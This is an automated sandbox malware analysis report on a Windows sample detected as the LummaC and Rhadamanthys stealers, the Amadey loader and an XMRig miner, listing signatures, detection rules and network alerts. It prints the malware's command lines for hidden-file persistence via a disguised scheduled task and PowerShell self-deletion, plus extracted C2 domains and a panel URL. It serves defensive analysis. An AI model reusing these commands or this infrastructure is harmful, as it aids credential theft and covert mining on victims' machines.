Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1577193
MD5:	4072633a022e6587009b5ca189ff4613
SHA1:	d54d3cf0878186b3b8230f1f0b8188bf1bcd738e
SHA256:	003b43813ec5522429efc587a873871a2d6fc14c4c9c6008a7d27bce0920db19
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected RHADAMANTHYS Stealer

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Checks if the current machine is a virtual machine (disk enumeration)

Contains functionality to inject code into remote processes

Drops password protected ZIP file

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Found strings related to Crypto-Mining

Hides threads from debuggers

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Uses cmd line tools excessively to alter registry or file data

Uses ping.exe to check the status of other devices and networks

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Uncommon Svchost Parent Process

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 7816 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 4072633A022E6587009B5CA189FF4613)

skotes.exe (PID: 8052 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 4072633A022E6587009B5CA189FF4613)

skotes.exe (PID: 6840 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 4072633A022E6587009B5CA189FF4613)

d2cb36d600.exe (PID: 2508 cmdline: "C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

conhost.exe (PID: 3700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

d2cb36d600.exe (PID: 7648 cmdline: "C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

d2cb36d600.exe (PID: 7656 cmdline: "C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

95ae71a780.exe (PID: 2884 cmdline: "C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)

cmd.exe (PID: 3832 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 4452 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

7z.exe (PID: 4424 cmdline: 7z.exe e file.zip -p24291711423417250691697322505 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7076 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 4536 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 8044 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 4940 cmdline: 7z.exe e extracted/file_4.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7988 cmdline: 7z.exe e extracted/file_3.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 4352 cmdline: 7z.exe e extracted/file_2.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 8020 cmdline: 7z.exe e extracted/file_1.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

attrib.exe (PID: 7828 cmdline: attrib +H "in.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

in.exe (PID: 7848 cmdline: "in.exe" MD5: 83D75087C9BF6E4F07C36E550731CCDE)

attrib.exe (PID: 7832 cmdline: attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 7876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 7868 cmdline: attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 7892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7884 cmdline: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7912 cmdline: powershell ping 127.0.0.1; del in.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 5196 cmdline: "C:\Windows\system32\PING.EXE" 127.0.0.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

80f68847d3.exe (PID: 7252 cmdline: "C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe" MD5: BD7AFE46E12BF9F5E618CA61FE125634)

svchost.exe (PID: 7564 cmdline: "C:\Windows\System32\svchost.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

WerFault.exe (PID: 6488 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7252 -s 640 MD5: C31336C1EFC2CCB44B4326EA793040F2)

9f237e29d5.exe (PID: 1068 cmdline: "C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe" MD5: 8A9CB17C0224A01BD34B46495983C50A)

conhost.exe (PID: 3504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

9f237e29d5.exe (PID: 3060 cmdline: "C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe" MD5: 8A9CB17C0224A01BD34B46495983C50A)

Intel_PTT_EK_Recertification.exe (PID: 1448 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)

explorer.exe (PID: 6744 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

powershell.exe (PID: 1344 cmdline: powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 5688 cmdline: "C:\Windows\system32\PING.EXE" 127.1.10.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

Intel_PTT_EK_Recertification.exe (PID: 1568 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.	Sandworm	https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/ https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: LummaC

{"C2 url": ["pancakedipyps.click", "sustainskelet.lat", "discokeyus.lat", "rapeflowwj.lat", "energyaffai.lat", "aspecteirs.lat", "necklacebudi.lat", "grannyejh.lat", "crosshuaht.lat"], "Build id": "nheapcorruption--"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000029.00000003.2360437408.00000000029F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000025.00000002.2341019039.0000000000526000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000023.00000003.2350989316.0000000001240000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000006.00000003.2004346887.0000000004FD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000002.2341019039.000000000050A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000002.00000002.1486178970.0000000000601000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.1443119669.0000000004690000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000029.00000002.2372633132.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000025.00000002.2341537822.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000025.00000002.2341646325.000000014040B000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000023.00000003.2358425905.00000000055A0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000025.00000002.2341019039.00000000004E9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000003.1416758119.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000029.00000003.2363157225.0000000004DF0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000000.00000002.1457682859.0000000000891000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000003.2358664230.00000000057C0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000023.00000003.2360789090.00000000050A0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000029.00000003.2363376254.0000000005010000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000024.00000003.2335547631.000001AB56C60000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000024.00000003.2335547631.000001AB56C60000.00000004.00000001.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
00000024.00000003.2335547631.000001AB56C60000.00000004.00000001.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
Process Memory Space: d2cb36d600.exe PID: 7656	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: d2cb36d600.exe PID: 7656	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: d2cb36d600.exe PID: 7656	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 80f68847d3.exe PID: 7252	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 1448	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: explorer.exe PID: 6744	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: svchost.exe PID: 7564	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: 9f237e29d5.exe PID: 3060	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 9f237e29d5.exe PID: 3060	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 27 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.890000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
35.3.80f68847d3.exe.57c0000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
41.3.svchost.exe.5010000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
35.3.80f68847d3.exe.55a0000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
41.3.svchost.exe.4df0000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
6.2.skotes.exe.600000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.600000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
36.3.Intel_PTT_EK_Recertification.exe.1ab56c60000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
36.3.Intel_PTT_EK_Recertification.exe.1ab56c60000.0.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
36.3.Intel_PTT_EK_Recertification.exe.1ab56c60000.0.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
37.2.explorer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
37.2.explorer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
37.2.explorer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
36.3.Intel_PTT_EK_Recertification.exe.1ab56c60000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
36.3.Intel_PTT_EK_Recertification.exe.1ab56c60000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x324cc8:$x1: donate.ssl.xmrig.com
36.3.Intel_PTT_EK_Recertification.exe.1ab56c60000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x325978:$s1: %s/%s (Windows NT %lu.%lu 0x329580:$s3: \\.\WinRing0_ 0x2e3130:$s4: pool_wallet 0x2dd978:$s5: cryptonight 0x2dd988:$s5: cryptonight 0x2dd998:$s5: cryptonight 0x2dd9a8:$s5: cryptonight 0x2dd9c0:$s5: cryptonight 0x2dd9d0:$s5: cryptonight 0x2dd9e0:$s5: cryptonight 0x2dd9f8:$s5: cryptonight 0x2dda08:$s5: cryptonight 0x2dda20:$s5: cryptonight 0x2dda38:$s5: cryptonight 0x2dda48:$s5: cryptonight 0x2dda58:$s5: cryptonight 0x2dda68:$s5: cryptonight 0x2dda80:$s5: cryptonight 0x2dda98:$s5: cryptonight 0x2ddaa8:$s5: cryptonight 0x2ddab8:$s5: cryptonight
Click to see the 11 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 7848, ParentProcessName: in.exe, ProcessCommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, ProcessId: 7884, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\svchost.exe", CommandLine: "C:\Windows\System32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe, ParentProcessId: 7252, ParentProcessName: 80f68847d3.exe, ProcessCommandLine: "C:\Windows\System32\svchost.exe", ProcessId: 7564, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell ping 127.0.0.1; del in.exe, CommandLine: powershell ping 127.0.0.1; del in.exe, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 7848, ParentProcessName: in.exe, ProcessCommandLine: powershell ping 127.0.0.1; del in.exe, ProcessId: 7912, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Windows\System32\svchost.exe", CommandLine: "C:\Windows\System32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe, ParentProcessId: 7252, ParentProcessName: 80f68847d3.exe, ProcessCommandLine: "C:\Windows\System32\svchost.exe", ProcessId: 7564, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T09:07:17.329177+0100	2028371	3	Unknown Traffic	192.168.2.8	49713	104.21.23.76	443	TCP
2024-12-18T09:07:19.408774+0100	2028371	3	Unknown Traffic	192.168.2.8	49715	104.21.23.76	443	TCP
2024-12-18T09:07:21.773714+0100	2028371	3	Unknown Traffic	192.168.2.8	49716	104.21.23.76	443	TCP
2024-12-18T09:07:24.062217+0100	2028371	3	Unknown Traffic	192.168.2.8	49717	104.21.23.76	443	TCP
2024-12-18T09:07:26.685085+0100	2028371	3	Unknown Traffic	192.168.2.8	49718	104.21.23.76	443	TCP
2024-12-18T09:07:29.695338+0100	2028371	3	Unknown Traffic	192.168.2.8	49721	104.21.23.76	443	TCP
2024-12-18T09:07:32.807815+0100	2028371	3	Unknown Traffic	192.168.2.8	49722	104.21.23.76	443	TCP
2024-12-18T09:07:38.095804+0100	2028371	3	Unknown Traffic	192.168.2.8	49725	104.21.23.76	443	TCP
2024-12-18T09:07:44.774360+0100	2028371	3	Unknown Traffic	192.168.2.8	49727	172.67.179.109	443	TCP
2024-12-18T09:07:46.767356+0100	2028371	3	Unknown Traffic	192.168.2.8	49728	172.67.179.109	443	TCP
2024-12-18T09:07:49.409802+0100	2028371	3	Unknown Traffic	192.168.2.8	49730	172.67.179.109	443	TCP
2024-12-18T09:07:51.624887+0100	2028371	3	Unknown Traffic	192.168.2.8	49732	172.67.179.109	443	TCP
